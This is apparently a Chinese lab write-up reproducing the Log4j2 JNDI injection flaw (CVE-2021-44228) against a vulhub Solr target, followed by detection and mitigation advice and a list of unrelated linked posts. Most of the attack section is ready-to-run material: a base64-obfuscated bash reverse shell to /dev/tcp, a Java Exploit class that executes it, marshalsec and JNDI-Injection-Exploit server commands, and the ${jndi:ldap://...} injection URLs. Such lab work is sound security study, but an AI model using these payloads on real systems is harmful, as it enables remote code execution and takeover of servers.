log4j2---基于vulhub的log4j2漏洞复现---反弹shell
基于vulhub的log4j2漏洞复现---反弹shell
1.方法一
环境准备:
和我上一篇fastjson1.2.24漏洞复现是一样的环境,方法也差别不大
声明:遵纪守法,仅作学习记录用处,部分描述文字源于网络,若侵权联系删除
老演员:
centos8:192.168.59.135 vulhub靶场
win10:192.168.59.130 攻击机
log4j2:
log4j2是apache旗下的一个java应用的开源日志库,Java的日志记录工具。
log4j2是在log4j框架的基础上进行了改进,引入了丰富的特性,可控制日志信息输送的目的地为控制台、文件、GUI组件等,应用于业务系统开发、记录程序输入输出日志信息
JNDI:(取自网络,若侵权联系删)
JNDI全称 Java Naming and Directory Interface。JNDI是Java平台的一个标准扩展,提供了一组接口、类和关于命名空间的概念。如同其它很多Java技术一样,JDNI是provider-based的技术,暴露了一个API和一个服务供应接口(SPI)。这意味着任何基于名字的技术都能通过JNDI而提供服务,只要JNDI支持这项技术。JNDI目前所支持的技术包括LDAP、CORBA Common Object Service(COS)名字服务、RMI、NDS、DNS、Windows注册表等等。很多J2EE技术,包括EJB都依靠JNDI来组织和定位实体。
JDNI通过绑定的概念将对象和名称联系起来。在一个文件系统中,文件名被绑定给文件。在DNS中,一个IP地址绑定一个URL。在目录服务中,一个对象名被绑定给一个对象实体。
JNDI中的一组绑定作为上下文来引用。每个上下文暴露的一组操作是一致的。例如,每个上下文提供了一个查找操作,返回指定名字的相应对象。每个上下文都提供了绑定和撤除绑定名字到某个对象的操作。JNDI使用通用的方式来暴露命名空间,即使用分层上下文以及使用相同命名语法的子上下文。
还是讲讲原理吧:
Log4j2是默认支持解析ldap/rmi协议的,打印的日志中包括ldap/rmi协议都行,通过名称从ldap服务端获取对应的Class文件,使用ClassLoader在本地加载Ldap服务端返回Class类。
这就为攻击者提供了攻击途径:攻击者可传入一个包含恶意内容的文件:一个恶意的Class文件,包含ldap协议内容(例如:恶意内容${jndi:ldap://localhost:9999/Exploit}恶意内容)。该内容传递到后端被log4j2打印出来,就会触发恶意的代码、命令的加载执行,从而达到攻击的目的。
cve编号:CVE-2021-44228
log4j2框架下的lookup查询服务提供了{}字段解析功能,传进去的值会被直接解析。例如${java:version}会被替换为对应的java版本。这样如果不对lookup的出栈进行限制,就有可能让查询指向任何可能:恶意代码,加载服务,无限可能。
攻击者可利用这一点进行JNDI注入,使得受害者请求远程服务来链接本地对象,在lookup的{}里面构造payload,调用JNDI服务(LDAP)向攻击者提前部署好的恶意站点获取恶意的.class对象,造成了远程代码执行---可反弹shell到指定服务器
开干吧!!!
开启靶场
cd vulhub/log4j/2CVE-2021-44228
docker-compose up -d //开启靶场
docker-compose ps //查看靶场端口
开放的端口:8983

测试有无注入点:
借助网络工具:http://dnslog.cn/
注入点:/solr/admin/cores?有个参数可传
Get SubDomin:获取子域名
egcn05.dnslog //我的子域名
访问:
http://靶机IP:靶机开放端口/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.子域名}

看dnslog.cn,有返回Java版本,可注入(较慢,可刷新或等待)

将下面这个代码进行base64编码:(去网上搜索,有很多都可以进行base64编码的网站)IP替换为靶机IP地址
bash -i >& /dev/tcp/192.168.59.135/7777 0>&1
编码后:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjEzMC83Nzc3IDA+JjEK}|{base64,-d}|{bash,-i}
老规矩,在Java文件夹里写一个Exploit.java,写入下面的代码:
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
public Exploit(){
try{
Runtime.getRuntime().exec("/bin/bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjEzMC83Nzc3IDA+JjEK}|{base64,-d}|{bash,-i}");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}
javac Exploit.java //编译
生成Exploit.class文件
直接在这个Java文件夹开启http服务:
python -m http.server 4444
然后访问:192.168.59.130:4444
可以看到那个编译好的class文件
然后又到了熟悉的操作!!!
进入marshalsec目录
cmd
mvn clean package -DskipTests //运行
有蓝色success
生成一个target文件夹
cd target
接下来开启ldap侦听
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.59.130:4444/#Exploit" 1389
nc(nmap)开启监听:
nc -lvvp 7777 //linux
ncat.exe -lvvp 7777 //win10 要进入包含ncat.exe的文件夹下,然后调出cmd
开始注入!!!!!
http://靶机IP:8983/solr/admin/cores?action=${jndi:ldap://攻击机IP:1389/Exploit}
http://192.168.59.135:8983/solr/admin/cores?action=${jndi:ldap://192.168.59.130:1389/Exploit}

看效果:(前面的404是因为我win10杀了那个class文件,我去重新编译一次就可以访问到了)


重头戏来了:
拿下!!!!!

看到这里,有人想说,你自己点进去的吧?真不是。

关闭靶场!!
docker-compose down
2.方法二
下载jndi-injection-exploit工具
https://gitcode.net/mirrors/sayers522/jndi-injection-exploit
下载完我解压在E盘,切换到jndi-injection-exploit文件夹,cmd出来
mvn clean package -DskipTests //等待环境success
cd target //先备用,后面要用
需要对下面的代码进行base64编码
bash -i >& /dev/tcp/192.168.59.130/8888 0>&1
base64编码:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjEzMC84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}
使用:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "上面的base64" -A "攻击机IP地址"
实际:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjEzMC84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}" -A "192.168.59.130"
cd target //备用的,这里用
在target的目录直接放进上面的代码,开始侦听

然后进入ncat的目录,cmd,侦听8888端口
ncat.exe lvvp 8888
接下来到payload:事实上还有其他payload,可自行baidu学习
浏览器直接访问
http://靶机:8983/solr/admin/cores?action=${jndi:ldap://攻击机:1389/Exploit}
http://192.168.59.135:8983/solr/admin/cores?action=${jndi:ldap://192.168.59.130:1389/Exploit}
结果:

JNDI注入显示结果:

成功反弹shell!拿下!!!!

好了,结束!!!!!!!
3.防范
log4j2是2021年底爆出的非常严重的漏洞,可谓是风靡一时,“血洗互联网”,也是安全公司面试的常见题目
如何排查是否受到了攻击?
检查日志中是否存在"jndi:ldap://"、"jndi:rmi//"等字符来发现可能的攻击行为,前面复现的过程在payload的构造中都出现了这样的字符串,这是攻击的典型标志。
如何对log4j2的攻击进行防御?
设置log4j2.formatMsgNoLookups=True。相当于直接禁止lookup查询出栈,也就不可能请求到访问到远程的恶意站点。
对包含有"jndi:ldap://"、"jndi:rmi//"这样字符串的请求进行拦截,即拦截JNDI语句来防止JNDI注入。
对系统进行合理配置,禁止不必要的业务访问外网,配置网络防火墙,禁止系统主动外连网络等等
升级 Log4j2 至 log4j-2.16.0-rc1 版本官网地址:
https://github.com/apache/logging-log4j2/releases/tag/log4j-2.16.0-rc1
添加 jvm 启动参数-Dlog4j2.formatMsgNoLookups=true;
在应用 classpath 下添加 log4j2.component.properties 配置文件,文件内容为log4j2.formatMsgNoLookups=true;
设置系统环境变量FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为true;
建议使用 11.0.1、8u191、7u201、6u211 及以上的高版本 JDK。
注:未经同意请勿转载,仅作学习使用。以上有描述不正确之处,望大家能不吝指出,共同学习共同进步。谢谢
log4j2---基于vulhub的log4j2漏洞复现---反弹shell的更多相关文章
- SSRF——weblogic vulhub 漏洞复现及攻击内网redis(一)(附批量检测脚本)
0X01 概述 SSRF(Server-Side Request Forgery, 服务端请求伪造)利用漏洞可以发起网络请求来攻击内网服务.利用SSRF能实现以下效果:1) 扫描内网(主 ...
- 漏洞复现-fastjson1.2.24-RCE
0x00 实验环境 攻击机:Win 10.Win Server2012 R2(公网环境,恶意java文件所在服务器) 靶机也可作为攻击机:Ubuntu18 (公网环境,docker ...
- 漏洞复现-CVE-2017-4971-Spring Web Flow 远程代码执行
0x00 实验环境 攻击机:Win 10 靶机也可作为攻击机:Ubuntu18 (docker搭建的vulhub靶场)(兼顾反弹shell的攻击机) 0x01 影响版本 Spring ...
- 漏洞复现-CVE-2016-4977-Spring远程代码执行
0x00 实验环境 攻击机:Win 10 靶机也可作为攻击机:Ubuntu18 (docker搭建的vulhub靶场)(兼顾反弹shell的攻击机) 0x01 影响版本 Spring Secu ...
- Apache Shiro 反序列化漏洞复现(CVE-2016-4437)
漏洞描述 Apache Shiro是一个Java安全框架,执行身份验证.授权.密码和会话管理.只要rememberMe的AES加密密钥泄露,无论shiro是什么版本都会导致反序列化漏洞. 漏洞原理 A ...
- 漏洞复现-CVE-2016-4437-Shiro反序列化
0x00 实验环境 攻击机:Win 10 靶机也可作为攻击机:Ubuntu18 (docker搭建的vulhub靶场)(兼顾反弹shell的攻击机) 0x01 影响版本 Shiro <= ...
- 【Nday】Spring-Cloud-SpEL-表达式注入漏洞复现
# 环境搭建 JDK 15下载: https://www.oracle.com/java/technologies/javase/jdk15-archive-downloads.html 在Cen ...
- Kibana<6.6.0代码执行漏洞复现
更多内容,欢迎关注微信公众号:信Yang安全,期待与您相遇. 使用docker快速部署环境docker pull kibana:6.5.4docker pull elasticsearch:6.5.4 ...
- Apache log4j2 远程代码执行漏洞复现👻
Apache log4j2 远程代码执行漏洞复现 最近爆出的一个Apache log4j2的远程代码执行漏洞听说危害程度极大哈,我想着也来找一下环境看看试一下.找了一会环境还真找到一个. 漏洞原理: ...
- [漏洞复现] [Vulhub靶机] Struts2-045 Remote Code Execution Vulnerablity(CVE-2017-5638)
免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责. 0x00 背景知识 Apache Struts 2是美国Apache软件基金会的一个开源项目,是一套用于创建企业级Java W ...
随机推荐
- Xcode编译流程
Xcode的构建过程本质上是执行一系列构建任务.如:代码检测,编译代码,链接目标文件,拷贝资源(图片, plist, nib)文件,代码签名等.大部分任务是执行命令行工具,如(clang编译. l ...
- 为什么 Go for-range 的 value 值地址每次都一样?
原文链接: 为什么 Go for-range 的 value 值地址每次都一样? 循环语句是一种常用的控制结构,在 Go 语言中,除了 for 关键字以外,还有一个 range 关键字,可以使用 fo ...
- KaiOS 2.5.X 使用 WebIDE 安装以及调试第三方应用程序
本教程将展示使用 Waterfox Classic 安装为 KaiOS 2.5.x 设计的应用,同时我们也非常推荐使用它来进行安装和调试应用. 本教程本身不会对手机产生任何损害,但请注意,你必须信任你 ...
- #PowerBi 1分钟学会,powerbi中行列值拼接(COMBINEVALUES与CONCATENATEX)
在日常的工作中,我们往往需要对表格数据的拼接,用来生成一些复合数据列,如下图类似场景. 其实,在powerbi中,我们同样也可以对表格文本进行拼接.今天我们就介绍两个DAX函数,COMBINEVALU ...
- 2022-08-30:给你一个字符串化学式 formula ,返回 每种原子的数量 。 原子总是以一个大写字母开始,接着跟随 0 个或任意个小写字母,表示原子的名字。 如果数量大于 1,原子后会跟着数
2022-08-30:给你一个字符串化学式 formula ,返回 每种原子的数量 . 原子总是以一个大写字母开始,接着跟随 0 个或任意个小写字母,表示原子的名字. 如果数量大于 1,原子后会跟着数 ...
- 2021-11-13:至少有 K 个重复字符的最长子串。给你一个字符串 s 和一个整数 k ,请你找出 s 中的最长子串, 要求该子串中的每一字符出现次数都不少于 k 。返回这一子串的长度。提示:1
2021-11-13:至少有 K 个重复字符的最长子串.给你一个字符串 s 和一个整数 k ,请你找出 s 中的最长子串, 要求该子串中的每一字符出现次数都不少于 k .返回这一子串的长度.提示:1 ...
- pycharm报错提示:无法加载文件\venv\Scripts\activate.ps1,因为在此系统上禁止运行脚本。
pycharm报错提示:无法加载文件\venv\Scripts\activate.ps1,因为在此系统上禁止运行脚本. 解决办法 1.终端输入get-executionpolicy,回车返回Restr ...
- LeetCode刷题,代码随想录算法训练营Day3| 链表理论基础 203.移除链表元素 707.设计链表 206.反转链表
链表理论基础 链表是通过指针串联在一起的线性结构,每个节点由一个数据域和一个指针域构成. 链表的类型 单链表 双链表 有两个指针域,一个指向下一个节点,一个指向上一个节点,既可以向前查询也可以向后查询 ...
- 有JSDoc还需要TypeScript吗
这听起来是不是很耳熟:你想写一个小型脚本,不管是为页面.命令行工具,还是其他什么类型.你从JavaScript开始,直到你想起写代码时没有类型是多么痛苦.所以你把文件从.js重命名为.ts.然后意识到 ...
- 如何在 Linux 中查看目录大小?
这是一篇关于如何通过一些常用的命令,显示 CentOS 或 RedHat 中的 Linux 目录大小,以及哪些文件夹占用的空间最大的教程. 搜索当前的 CentOS 或 RedHat 文件夹 您可以使 ...